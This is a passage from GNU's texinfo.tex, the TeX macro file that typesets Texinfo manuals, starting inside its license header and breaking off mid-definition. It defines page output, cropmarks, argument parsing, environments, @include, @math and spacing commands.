Foundation; either version 2, or (at % your option) any later version. % % This texinfo.tex file is distributed in the hope that it will be % useful, but WITHOUT ANY WARRANTY; without even the implied warranty % of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU % General Public License for more details. % % You should have received a copy of the GNU General Public License % along with this texinfo.tex file; see the file COPYING. If not, write % to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, % Boston, MA 02110-1301, USA. % % As a special exception, when this file is read by TeX when processing % a Texinfo source document, you may use the result without % restriction. (This has been our intent since Texinfo was invented.) % % Please try the latest version of texinfo.tex before submitting bug % reports; you can get the latest version from: % http://www.gnu.org/software/texinfo/ (the Texinfo home page), or % ftp://tug.org/tex/texinfo.tex % (and all CTAN mirrors, see http://www.ctan.org). % The texinfo.tex in any given distribution could well be out % of date, so if that's what you're using, please check. % % Send bug reports to bug-texinfo@gnu.org. Please include including a % complete document in each bug report with which we can reproduce the % problem. Patches are, of course, greatly appreciated. % % To process a Texinfo manual with TeX, it's most reliable to use the % texi2dvi shell script that comes with the distribution. For a simple % manual foo.texi, however, you can get away with this: % tex foo.texi % texindex foo.?? % tex foo.texi % tex foo.texi % dvips foo.dvi -o # or whatever; this makes foo.ps. % The extra TeX runs get the cross-reference information correct. % Sometimes one run after texindex suffices, and sometimes you need more % than two; texi2dvi does it as many times as necessary. % % It is possible to adapt texinfo.tex for other languages, to some % extent. You can get the existing language-specific files from the % full Texinfo distribution. % % The GNU Texinfo home page is http://www.gnu.org/software/texinfo. \message{Loading texinfo [version \texinfoversion]:} % If in a .fmt file, print the version number % and turn on active characters that we couldn't do earlier because % they might have appeared in the input file name. \everyjob{\message{[Texinfo version \texinfoversion]}% \catcode`+=\active \catcode`\_=\active} \message{Basics,} \chardef\other=12 % We never want plain's \outer definition of \+ in Texinfo. % For @tex, we can use \tabalign. \let\+ = \relax % Save some plain tex macros whose names we will redefine. \let\ptexb=\b \let\ptexbullet=\bullet \let\ptexc=\c \let\ptexcomma=\, \let\ptexdot=\. \let\ptexdots=\dots \let\ptexend=\end \let\ptexequiv=\equiv \let\ptexexclam=\! \let\ptexfootnote=\footnote \let\ptexgtr=> \let\ptexhat=^ \let\ptexi=\i \let\ptexindent=\indent \let\ptexinsert=\insert \let\ptexlbrace=\{ \let\ptexless=< \let\ptexnewwrite\newwrite \let\ptexnoindent=\noindent \let\ptexplus=+ \let\ptexrbrace=\} \let\ptexslash=\/ \let\ptexstar=\* \let\ptext=\t % If this character appears in an error message or help string, it % starts a new line in the output. \newlinechar = `^^J % Use TeX 3.0's \inputlineno to get the line number, for better error % messages, but if we're using an old version of TeX, don't do anything. % \ifx\inputlineno\thisisundefined \let\linenumber = \empty % Pre-3.0. \else \def\linenumber{l.\the\inputlineno:\space} \fi % Set up fixed words for English if not already set. \ifx\putwordAppendix\undefined \gdef\putwordAppendix{Appendix}\fi \ifx\putwordChapter\undefined \gdef\putwordChapter{Chapter}\fi \ifx\putwordfile\undefined \gdef\putwordfile{file}\fi \ifx\putwordin\undefined \gdef\putwordin{in}\fi \ifx\putwordIndexIsEmpty\undefined \gdef\putwordIndexIsEmpty{(Index is empty)}\fi \ifx\putwordIndexNonexistent\undefined \gdef\putwordIndexNonexistent{(Index is nonexistent)}\fi \ifx\putwordInfo\undefined \gdef\putwordInfo{Info}\fi \ifx\putwordInstanceVariableof\undefined \gdef\putwordInstanceVariableof{Instance Variable of}\fi \ifx\putwordMethodon\undefined \gdef\putwordMethodon{Method on}\fi \ifx\putwordNoTitle\undefined \gdef\putwordNoTitle{No Title}\fi \ifx\putwordof\undefined \gdef\putwordof{of}\fi \ifx\putwordon\undefined \gdef\putwordon{on}\fi \ifx\putwordpage\undefined \gdef\putwordpage{page}\fi \ifx\putwordsection\undefined \gdef\putwordsection{section}\fi \ifx\putwordSection\undefined \gdef\putwordSection{Section}\fi \ifx\putwordsee\undefined \gdef\putwordsee{see}\fi \ifx\putwordSee\undefined \gdef\putwordSee{See}\fi \ifx\putwordShortTOC\undefined \gdef\putwordShortTOC{Short Contents}\fi \ifx\putwordTOC\undefined \gdef\putwordTOC{Table of Contents}\fi % \ifx\putwordMJan\undefined \gdef\putwordMJan{January}\fi \ifx\putwordMFeb\undefined \gdef\putwordMFeb{February}\fi \ifx\putwordMMar\undefined \gdef\putwordMMar{March}\fi \ifx\putwordMApr\undefined \gdef\putwordMApr{April}\fi \ifx\putwordMMay\undefined \gdef\putwordMMay{May}\fi \ifx\putwordMJun\undefined \gdef\putwordMJun{June}\fi \ifx\putwordMJul\undefined \gdef\putwordMJul{July}\fi \ifx\putwordMAug\undefined \gdef\putwordMAug{August}\fi \ifx\putwordMSep\undefined \gdef\putwordMSep{September}\fi \ifx\putwordMOct\undefined \gdef\putwordMOct{October}\fi \ifx\putwordMNov\undefined \gdef\putwordMNov{November}\fi \ifx\putwordMDec\undefined \gdef\putwordMDec{December}\fi % \ifx\putwordDefmac\undefined \gdef\putwordDefmac{Macro}\fi \ifx\putwordDefspec\undefined \gdef\putwordDefspec{Special Form}\fi \ifx\putwordDefvar\undefined \gdef\putwordDefvar{Variable}\fi \ifx\putwordDefopt\undefined \gdef\putwordDefopt{User Option}\fi \ifx\putwordDeffunc\undefined \gdef\putwordDeffunc{Function}\fi % In some macros, we cannot use the `\? notation---the left quote is % in some cases the escape char. \chardef\backChar = `\\ \chardef\colonChar = `\: \chardef\commaChar = `\, \chardef\dotChar = `\. \chardef\exclamChar= `\! \chardef\plusChar = `\+ \chardef\questChar = `\? \chardef\semiChar = `\; \chardef\underChar = `\_ \chardef\spaceChar = `\ % \chardef\spacecat = 10 \def\spaceisspace{\catcode\spaceChar=\spacecat} {% for help with debugging. % example usage: \expandafter\show\activebackslash \catcode`\! = 0 \catcode`\\ = \active !global!def!activebackslash{\} } % Ignore a token. % \def\gobble#1{} % The following is used inside several \edef's. \def\makecsname#1{\expandafter\noexpand\csname#1\endcsname} % Hyphenation fixes. \hyphenation{ Flor-i-da Ghost-script Ghost-view Mac-OS Post-Script ap-pen-dix bit-map bit-maps data-base data-bases eshell fall-ing half-way long-est man-u-script man-u-scripts mini-buf-fer mini-buf-fers over-view par-a-digm par-a-digms rath-er rec-tan-gu-lar ro-bot-ics se-vere-ly set-up spa-ces spell-ing spell-ings stand-alone strong-est time-stamp time-stamps which-ever white-space wide-spread wrap-around } % Margin to add to right of even pages, to left of odd pages. \newdimen\bindingoffset \newdimen\normaloffset \newdimen\pagewidth \newdimen\pageheight % For a final copy, take out the rectangles % that mark overfull boxes (in case you have decided % that the text looks ok even though it passes the margin). % \def\finalout{\overfullrule=0pt} % @| inserts a changebar to the left of the current line. It should % surround any changed text. This approach does *not* work if the % change spans more than two lines of output. To handle that, we would % have adopt a much more difficult approach (putting marks into the main % vertical list for the beginning and end of each change). % \def\|{% % \vadjust can only be used in horizontal mode. \leavevmode % % Append this vertical mode material after the current line in the output. \vadjust{% % We want to insert a rule with the height and depth of the current % leading; that is exactly what \strutbox is supposed to record. \vskip-\baselineskip % % \vadjust-items are inserted at the left edge of the type. So % the \llap here moves out into the left-hand margin. \llap{% % % For a thicker or thinner bar, change the `1pt'. \vrule height\baselineskip width1pt % % This is the space between the bar and the text. \hskip 12pt }% }% } % Sometimes it is convenient to have everything in the transcript file % and nothing on the terminal. We don't just call \tracingall here, % since that produces some useless output on the terminal. We also make % some effort to order the tracing commands to reduce output in the log % file; cf. trace.sty in LaTeX. % \def\gloggingall{\begingroup \globaldefs = 1 \loggingall \endgroup}% \def\loggingall{% \tracingstats2 \tracingpages1 \tracinglostchars2 % 2 gives us more in etex \tracingparagraphs1 \tracingoutput1 \tracingmacros2 \tracingrestores1 \showboxbreadth\maxdimen \showboxdepth\maxdimen \ifx\eTeXversion\undefined\else % etex gives us more logging \tracingscantokens1 \tracingifs1 \tracinggroups1 \tracingnesting2 \tracingassigns1 \fi \tracingcommands3 % 3 gives us more in etex \errorcontextlines16 }% % add check for \lastpenalty to plain's definitions. If the last thing % we did was a \nobreak, we don't want to insert more space. % \def\smallbreak{\ifnum\lastpenalty<10000\par\ifdim\lastskip<\smallskipamount \removelastskip\penalty-50\smallskip\fi\fi} \def\medbreak{\ifnum\lastpenalty<10000\par\ifdim\lastskip<\medskipamount \removelastskip\penalty-100\medskip\fi\fi} \def\bigbreak{\ifnum\lastpenalty<10000\par\ifdim\lastskip<\bigskipamount \removelastskip\penalty-200\bigskip\fi\fi} % For @cropmarks command. % Do @cropmarks to get crop marks. % \newif\ifcropmarks \let\cropmarks = \cropmarkstrue % % Dimensions to add cropmarks at corners. % Added by P. A. MacKay, 12 Nov. 1986 % \newdimen\outerhsize \newdimen\outervsize % set by the paper size routines \newdimen\cornerlong \cornerlong=1pc \newdimen\cornerthick \cornerthick=.3pt \newdimen\topandbottommargin \topandbottommargin=.75in % Main output routine. \chardef\PAGE = 255 \output = {\onepageout{\pagecontents\PAGE}} \newbox\headlinebox \newbox\footlinebox % \onepageout takes a vbox as an argument. Note that \pagecontents % does insertions, but you have to call it yourself. \def\onepageout#1{% \ifcropmarks \hoffset=0pt \else \hoffset=\normaloffset \fi % \ifodd\pageno \advance\hoffset by \bindingoffset \else \advance\hoffset by -\bindingoffset\fi % % Do this outside of the \shipout so @code etc. will be expanded in % the headline as they should be, not taken literally (outputting ''code). \setbox\headlinebox = \vbox{\let\hsize=\pagewidth \makeheadline}% \setbox\footlinebox = \vbox{\let\hsize=\pagewidth \makefootline}% % {% % Have to do this stuff outside the \shipout because we want it to % take effect in \write's, yet the group defined by the \vbox ends % before the \shipout runs. % \indexdummies % don't expand commands in the output. \shipout\vbox{% % Do this early so pdf references go to the beginning of the page. \ifpdfmakepagedest \pdfdest name{\the\pageno} xyz\fi % \ifcropmarks \vbox to \outervsize\bgroup \hsize = \outerhsize \vskip-\topandbottommargin \vtop to0pt{% \line{\ewtop\hfil\ewtop}% \nointerlineskip \line{% \vbox{\moveleft\cornerthick\nstop}% \hfill \vbox{\moveright\cornerthick\nstop}% }% \vss}% \vskip\topandbottommargin \line\bgroup \hfil % center the page within the outer (page) hsize. \ifodd\pageno\hskip\bindingoffset\fi \vbox\bgroup \fi % \unvbox\headlinebox \pagebody{#1}% \ifdim\ht\footlinebox > 0pt % Only leave this space if the footline is nonempty. % (We lessened \vsize for it in \oddfootingxxx.) % The \baselineskip=24pt in plain's \makefootline has no effect. \vskip 2\baselineskip \unvbox\footlinebox \fi % \ifcropmarks \egroup % end of \vbox\bgroup \hfil\egroup % end of (centering) \line\bgroup \vskip\topandbottommargin plus1fill minus1fill \boxmaxdepth = \cornerthick \vbox to0pt{\vss \line{% \vbox{\moveleft\cornerthick\nsbot}% \hfill \vbox{\moveright\cornerthick\nsbot}% }% \nointerlineskip \line{\ewbot\hfil\ewbot}% }% \egroup % \vbox from first cropmarks clause \fi }% end of \shipout\vbox }% end of group with \indexdummies \advancepageno \ifnum\outputpenalty>-20000 \else\dosupereject\fi } \newinsert\margin \dimen\margin=\maxdimen \def\pagebody#1{\vbox to\pageheight{\boxmaxdepth=\maxdepth #1}} {\catcode`\@ =11 \gdef\pagecontents#1{\ifvoid\topins\else\unvbox\topins\fi % marginal hacks, juha@viisa.uucp (Juha Takala) \ifvoid\margin\else % marginal info is present \rlap{\kern\hsize\vbox to\z@{\kern1pt\box\margin \vss}}\fi \dimen@=\dp#1 \unvbox#1 \ifvoid\footins\else\vskip\skip\footins\footnoterule \unvbox\footins\fi \ifr@ggedbottom \kern-\dimen@ \vfil \fi} } % Here are the rules for the cropmarks. Note that they are % offset so that the space between them is truly \outerhsize or \outervsize % (P. A. MacKay, 12 November, 1986) % \def\ewtop{\vrule height\cornerthick depth0pt width\cornerlong} \def\nstop{\vbox {\hrule height\cornerthick depth\cornerlong width\cornerthick}} \def\ewbot{\vrule height0pt depth\cornerthick width\cornerlong} \def\nsbot{\vbox {\hrule height\cornerlong depth\cornerthick width\cornerthick}} % Parse an argument, then pass it to #1. The argument is the rest of % the input line (except we remove a trailing comment). #1 should be a % macro which expects an ordinary undelimited TeX argument. % \def\parsearg{\parseargusing{}} \def\parseargusing#1#2{% \def\next{#2}% \begingroup \obeylines \spaceisspace #1% \parseargline\empty% Insert the \empty token, see \finishparsearg below. } {\obeylines % \gdef\parseargline#1^^M{% \endgroup % End of the group started in \parsearg. \argremovecomment #1\comment\ArgTerm% }% } % First remove any @comment, then any @c comment. \def\argremovecomment#1\comment#2\ArgTerm{\argremovec #1\c\ArgTerm} \def\argremovec#1\c#2\ArgTerm{\argcheckspaces#1\^^M\ArgTerm} % Each occurence of `\^^M' or `\^^M' is replaced by a single space. % % \argremovec might leave us with trailing space, e.g., % @end itemize @c foo % This space token undergoes the same procedure and is eventually removed % by \finishparsearg. % \def\argcheckspaces#1\^^M{\argcheckspacesX#1\^^M \^^M} \def\argcheckspacesX#1 \^^M{\argcheckspacesY#1\^^M} \def\argcheckspacesY#1\^^M#2\^^M#3\ArgTerm{% \def\temp{#3}% \ifx\temp\empty % We cannot use \next here, as it holds the macro to run; % thus we reuse \temp. \let\temp\finishparsearg \else \let\temp\argcheckspaces \fi % Put the space token in: \temp#1 #3\ArgTerm } % If a _delimited_ argument is enclosed in braces, they get stripped; so % to get _exactly_ the rest of the line, we had to prevent such situation. % We prepended an \empty token at the very beginning and we expand it now, % just before passing the control to \next. % (Similarily, we have to think about #3 of \argcheckspacesY above: it is % either the null string, or it ends with \^^M---thus there is no danger % that a pair of braces would be stripped. % % But first, we have to remove the trailing space token. % \def\finishparsearg#1 \ArgTerm{\expandafter\next\expandafter{#1}} % \parseargdef\foo{...} % is roughly equivalent to % \def\foo{\parsearg\Xfoo} % \def\Xfoo#1{...} % % Actually, I use \csname\string\foo\endcsname, ie. \\foo, as it is my % favourite TeX trick. --kasal, 16nov03 \def\parseargdef#1{% \expandafter \doparseargdef \csname\string#1\endcsname #1% } \def\doparseargdef#1#2{% \def#2{\parsearg#1}% \def#1##1% } % Several utility definitions with active space: { \obeyspaces \gdef\obeyedspace{ } % Make each space character in the input produce a normal interword % space in the output. Don't allow a line break at this space, as this % is used only in environments like @example, where each line of input % should produce a line of output anyway. % \gdef\sepspaces{\obeyspaces\let =\tie} % If an index command is used in an @example environment, any spaces % therein should become regular spaces in the raw index file, not the % expansion of \tie (\leavevmode \penalty \@M \ ). \gdef\unsepspaces{\let =\space} } \def\flushcr{\ifx\par\lisppar \def\next##1{}\else \let\next=\relax \fi \next} % Define the framework for environments in texinfo.tex. It's used like this: % % \envdef\foo{...} % \def\Efoo{...} % % It's the responsibility of \envdef to insert \begingroup before the % actual body; @end closes the group after calling \Efoo. \envdef also % defines \thisenv, so the current environment is known; @end checks % whether the environment name matches. The \checkenv macro can also be % used to check whether the current environment is the one expected. % % Non-false conditionals (@iftex, @ifset) don't fit into this, so they % are not treated as enviroments; they don't open a group. (The % implementation of @end takes care not to call \endgroup in this % special case.) % At runtime, environments start with this: \def\startenvironment#1{\begingroup\def\thisenv{#1}} % initialize \let\thisenv\empty % ... but they get defined via ``\envdef\foo{...}'': \long\def\envdef#1#2{\def#1{\startenvironment#1#2}} \def\envparseargdef#1#2{\parseargdef#1{\startenvironment#1#2}} % Check whether we're in the right environment: \def\checkenv#1{% \def\temp{#1}% \ifx\thisenv\temp \else \badenverr \fi } % Evironment mismatch, #1 expected: \def\badenverr{% \errhelp = \EMsimple \errmessage{This command can appear only \inenvironment\temp, not \inenvironment\thisenv}% } \def\inenvironment#1{% \ifx#1\empty out of any environment% \else in environment \expandafter\string#1% \fi } % @end foo executes the definition of \Efoo. % But first, it executes a specialized version of \checkenv % \parseargdef\end{% \if 1\csname iscond.#1\endcsname \else % The general wording of \badenverr may not be ideal, but... --kasal, 06nov03 \expandafter\checkenv\csname#1\endcsname \csname E#1\endcsname \endgroup \fi } \newhelp\EMsimple{Press RETURN to continue.} %% Simple single-character @ commands % @@ prints an @ % Kludge this until the fonts are right (grr). \def\@{{\tt\char64}} % This is turned off because it was never documented % and you can use @w{...} around a quote to suppress ligatures. %% Define @` and @' to be the same as ` and ' %% but suppressing ligatures. %\def\`{{`}} %\def\'{{'}} % Used to generate quoted braces. \def\mylbrace {{\tt\char123}} \def\myrbrace {{\tt\char125}} \let\{=\mylbrace \let\}=\myrbrace \begingroup % Definitions to produce \{ and \} commands for indices, % and @{ and @} for the aux/toc files. \catcode`\{ = \other \catcode`\} = \other \catcode`\[ = 1 \catcode`\] = 2 \catcode`\! = 0 \catcode`\\ = \other !gdef!lbracecmd[\{]% !gdef!rbracecmd[\}]% !gdef!lbraceatcmd[@{]% !gdef!rbraceatcmd[@}]% !endgroup % @comma{} to avoid , parsing problems. \let\comma = , % Accents: @, @dotaccent @ringaccent @ubaraccent @udotaccent % Others are defined by plain TeX: @` @' @" @^ @~ @= @u @v @H. \let\, = \c \let\dotaccent = \. \def\ringaccent#1{{\accent23 #1}} \let\tieaccent = \t \let\ubaraccent = \b \let\udotaccent = \d % Other special characters: @questiondown @exclamdown @ordf @ordm % Plain TeX defines: @AA @AE @O @OE @L (plus lowercase versions) @ss. \def\questiondown{?`} \def\exclamdown{!`} \def\ordf{\leavevmode\raise1ex\hbox{\selectfonts\lllsize \underbar{a}}} \def\ordm{\leavevmode\raise1ex\hbox{\selectfonts\lllsize \underbar{o}}} % Dotless i and dotless j, used for accents. \def\imacro{i} \def\jmacro{j} \def\dotless#1{% \def\temp{#1}% \ifx\temp\imacro \ptexi \else\ifx\temp\jmacro \j \else \errmessage{@dotless can be used only with i or j}% \fi\fi } % The \TeX{} logo, as in plain, but resetting the spacing so that a % period following counts as ending a sentence. (Idea found in latex.) % \edef\TeX{\TeX \spacefactor=1000 } % @LaTeX{} logo. Not quite the same results as the definition in % latex.ltx, since we use a different font for the raised A; it's most % convenient for us to use an explicitly smaller font, rather than using % the \scriptstyle font (since we don't reset \scriptstyle and % \scriptscriptstyle). % \def\LaTeX{% L\kern-.36em {\setbox0=\hbox{T}% \vbox to \ht0{\hbox{\selectfonts\lllsize A}\vss}}% \kern-.15em \TeX } % Be sure we're in horizontal mode when doing a tie, since we make space % equivalent to this in @example-like environments. Otherwise, a space % at the beginning of a line will start with \penalty -- and % since \penalty is valid in vertical mode, we'd end up putting the % penalty on the vertical list instead of in the new paragraph. {\catcode`@ = 11 % Avoid using \@M directly, because that causes trouble % if the definition is written into an index file. \global\let\tiepenalty = \@M \gdef\tie{\leavevmode\penalty\tiepenalty\ } } % @: forces normal size whitespace following. \def\:{\spacefactor=1000 } % @* forces a line break. \def\*{\hfil\break\hbox{}\ignorespaces} % @/ allows a line break. \let\/=\allowbreak % @. is an end-of-sentence period. \def\.{.\spacefactor=\endofsentencespacefactor\space} % @! is an end-of-sentence bang. \def\!{!\spacefactor=\endofsentencespacefactor\space} % @? is an end-of-sentence query. \def\?{?\spacefactor=\endofsentencespacefactor\space} % @frenchspacing on|off says whether to put extra space after punctuation. % \def\onword{on} \def\offword{off} % \parseargdef\frenchspacing{% \def\temp{#1}% \ifx\temp\onword \plainfrenchspacing \else\ifx\temp\offword \plainnonfrenchspacing \else \errhelp = \EMsimple \errmessage{Unknown @frenchspacing option `\temp', must be on/off}% \fi\fi } % @w prevents a word break. Without the \leavevmode, @w at the % beginning of a paragraph, when TeX is still in vertical mode, would % produce a whole line of output instead of starting the paragraph. \def\w#1{\leavevmode\hbox{#1}} % @group ... @end group forces ... to be all on one page, by enclosing % it in a TeX vbox. We use \vtop instead of \vbox to construct the box % to keep its height that of a normal line. According to the rules for % \topskip (p.114 of the TeXbook), the glue inserted is % max (\topskip - \ht (first item), 0). If that height is large, % therefore, no glue is inserted, and the space between the headline and % the text is small, which looks bad. % % Another complication is that the group might be very large. This can % cause the glue on the previous page to be unduly stretched, because it % does not have much material. In this case, it's better to add an % explicit \vfill so that the extra space is at the bottom. The % threshold for doing this is if the group is more than \vfilllimit % percent of a page (\vfilllimit can be changed inside of @tex). % \newbox\groupbox \def\vfilllimit{0.7} % \envdef\group{% \ifnum\catcode`\^^M=\active \else \errhelp = \groupinvalidhelp \errmessage{@group invalid in context where filling is enabled}% \fi \startsavinginserts % \setbox\groupbox = \vtop\bgroup % Do @comment since we are called inside an environment such as % @example, where each end-of-line in the input causes an % end-of-line in the output. We don't want the end-of-line after % the `@group' to put extra space in the output. Since @group % should appear on a line by itself (according to the Texinfo % manual), we don't worry about eating any user text. \comment } % % The \vtop produces a box with normal height and large depth; thus, TeX puts % \baselineskip glue before it, and (when the next line of text is done) % \lineskip glue after it. Thus, space below is not quite equal to space % above. But it's pretty close. \def\Egroup{% % To get correct interline space between the last line of the group % and the first line afterwards, we have to propagate \prevdepth. \endgraf % Not \par, as it may have been set to \lisppar. \global\dimen1 = \prevdepth \egroup % End the \vtop. % \dimen0 is the vertical size of the group's box. \dimen0 = \ht\groupbox \advance\dimen0 by \dp\groupbox % \dimen2 is how much space is left on the page (more or less). \dimen2 = \pageheight \advance\dimen2 by -\pagetotal % if the group doesn't fit on the current page, and it's a big big % group, force a page break. \ifdim \dimen0 > \dimen2 \ifdim \pagetotal < \vfilllimit\pageheight \page \fi \fi \box\groupbox \prevdepth = \dimen1 \checkinserts } % % TeX puts in an \escapechar (i.e., `@') at the beginning of the help % message, so this ends up printing `@group can only ...'. % \newhelp\groupinvalidhelp{% group can only be used in environments such as @example,^^J% where each line of input produces a line of output.} % @need space-in-mils % forces a page break if there is not space-in-mils remaining. \newdimen\mil \mil=0.001in % Old definition--didn't work. %\parseargdef\need{\par % %% This method tries to make TeX break the page naturally %% if the depth of the box does not fit. %{\baselineskip=0pt% %\vtop to #1\mil{\vfil}\kern -#1\mil\nobreak %\prevdepth=-1000pt %}} \parseargdef\need{% % Ensure vertical mode, so we don't make a big box in the middle of a % paragraph. \par % % If the @need value is less than one line space, it's useless. \dimen0 = #1\mil \dimen2 = \ht\strutbox \advance\dimen2 by \dp\strutbox \ifdim\dimen0 > \dimen2 % % Do a \strut just to make the height of this box be normal, so the % normal leading is inserted relative to the preceding line. % And a page break here is fine. \vtop to #1\mil{\strut\vfil}% % % TeX does not even consider page breaks if a penalty added to the % main vertical list is 10000 or more. But in order to see if the % empty box we just added fits on the page, we must make it consider % page breaks. On the other hand, we don't want to actually break the % page after the empty box. So we use a penalty of 9999. % % There is an extremely small chance that TeX will actually break the % page at this \penalty, if there are no other feasible breakpoints in % sight. (If the user is using lots of big @group commands, which % almost-but-not-quite fill up a page, TeX will have a hard time doing % good page breaking, for example.) However, I could not construct an % example where a page broke at this \penalty; if it happens in a real % document, then we can reconsider our strategy. \penalty9999 % % Back up by the size of the box, whether we did a page break or not. \kern -#1\mil % % Do not allow a page break right after this kern. \nobreak \fi } % @br forces paragraph break (and is undocumented). \let\br = \par % @page forces the start of a new page. % \def\page{\par\vfill\supereject} % @exdent text.... % outputs text on separate line in roman font, starting at standard page margin % This records the amount of indent in the innermost environment. % That's how much \exdent should take out. \newskip\exdentamount % This defn is used inside fill environments such as @defun. \parseargdef\exdent{\hfil\break\hbox{\kern -\exdentamount{\rm#1}}\hfil\break} % This defn is used inside nofill environments such as @example. \parseargdef\nofillexdent{{\advance \leftskip by -\exdentamount \leftline{\hskip\leftskip{\rm#1}}}} % @inmargin{WHICH}{TEXT} puts TEXT in the WHICH margin next to the current % paragraph. For more general purposes, use the \margin insertion % class. WHICH is `l' or `r'. % \newskip\inmarginspacing \inmarginspacing=1cm \def\strutdepth{\dp\strutbox} % \def\doinmargin#1#2{\strut\vadjust{% \nobreak \kern-\strutdepth \vtop to \strutdepth{% \baselineskip=\strutdepth \vss % if you have multiple lines of stuff to put here, you'll need to % make the vbox yourself of the appropriate size. \ifx#1l% \llap{\ignorespaces #2\hskip\inmarginspacing}% \else \rlap{\hskip\hsize \hskip\inmarginspacing \ignorespaces #2}% \fi \null }% }} \def\inleftmargin{\doinmargin l} \def\inrightmargin{\doinmargin r} % % @inmargin{TEXT [, RIGHT-TEXT]} % (if RIGHT-TEXT is given, use TEXT for left page, RIGHT-TEXT for right; % else use TEXT for both). % \def\inmargin#1{\parseinmargin #1,,\finish} \def\parseinmargin#1,#2,#3\finish{% not perfect, but better than nothing. \setbox0 = \hbox{\ignorespaces #2}% \ifdim\wd0 > 0pt \def\lefttext{#1}% have both texts \def\righttext{#2}% \else \def\lefttext{#1}% have only one text \def\righttext{#1}% \fi % \ifodd\pageno \def\temp{\inrightmargin\righttext}% odd page -> outside is right margin \else \def\temp{\inleftmargin\lefttext}% \fi \temp } % @include file insert text of that file as input. % \def\include{\parseargusing\filenamecatcodes\includezzz} \def\includezzz#1{% \pushthisfilestack \def\thisfile{#1}% {% \makevalueexpandable \def\temp{\input #1 }% \expandafter }\temp \popthisfilestack } \def\filenamecatcodes{% \catcode`\\=\other \catcode`~=\other \catcode`^=\other \catcode`_=\other \catcode`|=\other \catcode`<=\other \catcode`>=\other \catcode`+=\other \catcode`-=\other } \def\pushthisfilestack{% \expandafter\pushthisfilestackX\popthisfilestack\StackTerm } \def\pushthisfilestackX{% \expandafter\pushthisfilestackY\thisfile\StackTerm } \def\pushthisfilestackY #1\StackTerm #2\StackTerm {% \gdef\popthisfilestack{\gdef\thisfile{#1}\gdef\popthisfilestack{#2}}% } \def\popthisfilestack{\errthisfilestackempty} \def\errthisfilestackempty{\errmessage{Internal error: the stack of filenames is empty.}} \def\thisfile{} % @center line % outputs that line, centered. % \parseargdef\center{% \ifhmode \let\next\centerH \else \let\next\centerV \fi \next{\hfil \ignorespaces#1\unskip \hfil}% } \def\centerH#1{% {% \hfil\break \advance\hsize by -\leftskip \advance\hsize by -\rightskip \line{#1}% \break }% } \def\centerV#1{\line{\kern\leftskip #1\kern\rightskip}} % @sp n outputs n lines of vertical space \parseargdef\sp{\vskip #1\baselineskip} % @comment ...line which is ignored... % @c is the same as @comment % @ignore ... @end ignore is another way to write a comment \def\comment{\begingroup \catcode`\^^M=\other% \catcode`\@=\other \catcode`\{=\other \catcode`\}=\other% \commentxxx} {\catcode`\^^M=\other \gdef\commentxxx#1^^M{\endgroup}} \let\c=\comment % @paragraphindent NCHARS % We'll use ems for NCHARS, close enough. % NCHARS can also be the word `asis' or `none'. % We cannot feasibly implement @paragraphindent asis, though. % \def\asisword{asis} % no translation, these are keywords \def\noneword{none} % \parseargdef\paragraphindent{% \def\temp{#1}% \ifx\temp\asisword \else \ifx\temp\noneword \defaultparindent = 0pt \else \defaultparindent = #1em \fi \fi \parindent = \defaultparindent } % @exampleindent NCHARS % We'll use ems for NCHARS like @paragraphindent. % It seems @exampleindent asis isn't necessary, but % I preserve it to make it similar to @paragraphindent. \parseargdef\exampleindent{% \def\temp{#1}% \ifx\temp\asisword \else \ifx\temp\noneword \lispnarrowing = 0pt \else \lispnarrowing = #1em \fi \fi } % @firstparagraphindent WORD % If WORD is `none', then suppress indentation of the first paragraph % after a section heading. If WORD is `insert', then do indent at such % paragraphs. % % The paragraph indentation is suppressed or not by calling % \suppressfirstparagraphindent, which the sectioning commands do. % We switch the definition of this back and forth according to WORD. % By default, we suppress indentation. % \def\suppressfirstparagraphindent{\dosuppressfirstparagraphindent} \def\insertword{insert} % \parseargdef\firstparagraphindent{% \def\temp{#1}% \ifx\temp\noneword \let\suppressfirstparagraphindent = \dosuppressfirstparagraphindent \else\ifx\temp\insertword \let\suppressfirstparagraphindent = \relax \else \errhelp = \EMsimple \errmessage{Unknown @firstparagraphindent option `\temp'}% \fi\fi } % Here is how we actually suppress indentation. Redefine \everypar to % \kern backwards by \parindent, and then reset itself to empty. % % We also make \indent itself not actually do anything until the next % paragraph. % \gdef\dosuppressfirstparagraphindent{% \gdef\indent{% \restorefirstparagraphindent \indent }% \gdef\noindent{% \restorefirstparagraphindent \noindent }% \global\everypar = {% \kern -\parindent \restorefirstparagraphindent }% } \gdef\restorefirstparagraphindent{% \global \let \indent = \ptexindent \global \let \noindent = \ptexnoindent \global \everypar = {}% } % @asis just yields its argument. Used with @table, for example. % \def\asis#1{#1} % @math outputs its argument in math mode. % % One complication: _ usually means subscripts, but it could also mean % an actual _ character, as in @math{@var{some_variable} + 1}. So make % _ active, and distinguish by seeing if the current family is \slfam, % which is what @var uses. { \catcode\underChar = \active \gdef\mathunderscore{% \catcode\underChar=\active \def_{\ifnum\fam=\slfam \_\else\sb\fi}% } } % Another complication: we want \\ (and @\) to output a \ character. % FYI, plain.tex uses \\ as a temporary control sequence (why?), but % this is not advertised and we don't care. Texinfo does not % otherwise define @\. % % The \mathchar is class=0=ordinary, family=7=ttfam, position=5C=\. \def\mathbackslash{\ifnum\fam=\ttfam \mathchar"075C \else\backslash \fi} % \def\math{% \tex \mathunderscore \let\\ = \mathbackslash \mathactive $\finishmath } \def\finishmath#1{#1$\endgroup} % Close the group opened by \tex. % Some active characters (such as <) are spaced differently in math. % We have to reset their definitions in case the @math was an argument % to a command which sets the catcodes (such as @item or @section). % { \catcode`^ = \active \catcode`< = \active \catcode`> = \active \catcode`+ = \active \gdef\mathactive{% \let^ = \ptexhat \let< = \ptexless \let> = \ptexgtr \let+ = \ptexplus } } % @bullet and @minus need the same treatment as @math, just above. \def\bullet{$\ptexbullet$} \def\minus{$-$} % @dots{} outputs an ellipsis using the current font. % We do .5em per period so that it has the same spacing in a typewriter % font as three actual period characters. % \def\dots{% \leavevmode \hbox to 1.5em{% \hskip 0pt plus 0.25fil .\hfil.\hfil.% \hskip 0pt plus 0.5fil }% } % @enddots{} is an end-of-sentence ellipsis. % \def\enddots{% \dots \spacefactor=\endofsentencespacefactor } % @comma{} is so commas can be inserted into text without messing up % Texinfo's parsing. % \let\comma = , % @refill is a no-op. \let\refill=\relax % If working on a large document in chapters, it is convenient to % be able to disable indexing, cross-referencing, and contents, for test runs. % This is done with @novalidate (before @setfilename). % \newif\iflinks \linkstrue % by default we want the aux files. \let\novalidate = 